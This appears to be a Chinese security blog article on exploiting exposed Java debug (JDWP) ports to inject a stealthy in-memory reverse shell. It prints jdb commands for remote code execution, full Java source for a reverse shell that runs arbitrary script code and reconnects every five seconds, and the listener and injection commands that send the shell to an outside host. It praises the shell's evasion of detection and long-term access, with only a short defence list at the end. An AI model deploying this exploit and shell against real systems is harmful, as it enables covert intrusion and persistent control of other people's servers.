通过JDWP漏洞注入"不一样"的内存马
字数 1015 2025-08-23 18:31:17
JDWP漏洞利用与内存马注入技术详解
一、JDWP漏洞概述
JDWP(Java Debug Wire Protocol)是Java调试协议,当Java应用对外开放调试服务时,攻击者可以利用此协议实现远程代码执行。该漏洞的核心在于:
- 暴露了Java调试接口(默认端口8000)
- 允许远程连接和调试操作
- 可通过调试接口执行任意Java代码
二、传统JDWP利用方式
1. 使用jdb工具执行命令
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8000
threads # 查找休眠线程
thread 0x25c # 选择休眠线程
stepi
eval java.lang.System.getProperty("os.name")
2. 现有武器化工具
- jdwp-shellifier(2014年原始版):通过设置断点获取线程上下文调用Runtime.exec()
- Lz1y改进版(2020年):对Sleeping线程发送单步执行事件,无需等待断点
- r3change改进版(2022年):增加命令执行回显功能
三、高级利用技术:内存马注入
1. 反向内存Shell实现原理
public class App extends Thread {
private ScriptEngine scriptEngine;
private String host;
private Integer port;
private Double life;
// 执行代码的核心方法
private String execCode(String code) {
try {
Object result = scriptEngine.eval(code);
return result != null ? result + "\n" : "";
} catch (Exception e) {
return e + "\n";
}
}
// 获取系统信息
private String getInfo() {
String info = "os: " + System.getProperty("os.name") + " " +
System.getProperty("os.arch") + " " +
System.getProperty("os.version");
info += "\nuser: " + System.getProperty("user.name");
try {
info += "\nhost: " + InetAddress.getLocalHost().getHostName();
} catch (Exception e) {
info += "\nhost: " + e;
}
return info;
}
@Override
public void run() {
boolean exit = false;
LocalDateTime time = LocalDateTime.now();
while (Duration.between(time, LocalDateTime.now()).toMillis() / (60.0 * 1000.0) < life && !exit) {
try {
Socket socket = new Socket(host, port);
PrintWriter out = new PrintWriter(socket.getOutputStream());
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
scriptEngine = new ScriptEngineManager().getEngineByName("js");
out.print(getInfo() + "\n\n>>> ");
out.flush();
String input;
while ((input = in.readLine()) != null) {
time = LocalDateTime.now();
if (input.trim().equals("exit") || input.trim().equals("exit()")) {
exit = true;
socket.close();
break;
}
out.print(execCode(input) + ">>> ");
out.flush();
}
} catch (Exception e) {
// 忽略异常,自动重连
}
if (!exit) {
try {
Thread.sleep(5 * 1000); // 5秒后重连
} catch (InterruptedException e) {
// 忽略中断异常
}
}
}
}
public static void exploit(String host, Integer port, Double life) {
new App(host, port, life).start();
}
}
2. 内存Shell特点
- 隐蔽性强:不直接执行系统命令,避免RASP检测
- 交互式执行:支持Java/JS代码动态执行
- 自动重连:连接断开后每5秒自动重连
- 生命周期控制:可设置最大存活时间(分钟)
- 信息收集:自动获取系统环境信息
3. 使用方式
服务端监听:
nc -lvp 8080
利用工具注入:
python jdwp-codeifier.py -t 192.168.65.254 -p 8000 -m rshell -a 127.0.0.1:8080 -l 0.1
参数说明:
-a:指定接收shell的地址-l:指定shell与服务器连接不上时的最大存活时间(分钟)
四、jdwp-codeifier工具详解
1. 功能特点
- 动态执行Java/JS代码并获取回显
- 内置反向内存Shell功能
- 采用无需等待断点的利用方式
- 支持多种代码执行模式
2. 技术实现要点
- 线程选择:定位Sleeping线程进行利用
- 单步执行:发送单步执行事件触发断点
- 上下文获取:获取线程上下文环境
- 代码注入:在目标JVM中执行自定义代码
五、防御建议
- 关闭调试端口:生产环境不应开放JDWP服务
- 网络隔离:限制调试端口的访问来源
- RASP防护:部署运行时应用自我保护
- 入侵检测:监控异常Java调试行为
- 最小权限:Java进程运行使用最小必要权限
六、扩展思路
- 内存代理:实现类似frp的socks5反向代理功能
- 模块化加载:支持动态加载更多攻击模块
- 加密通信:增强内存Shell的隐蔽性
- 持久化机制:实现更稳定的内存驻留
通过JDWP漏洞注入内存马的技术相比传统命令执行更加隐蔽和灵活,特别适合需要长期维持访问权限的场景,同时也对防御方提出了更高的检测要求。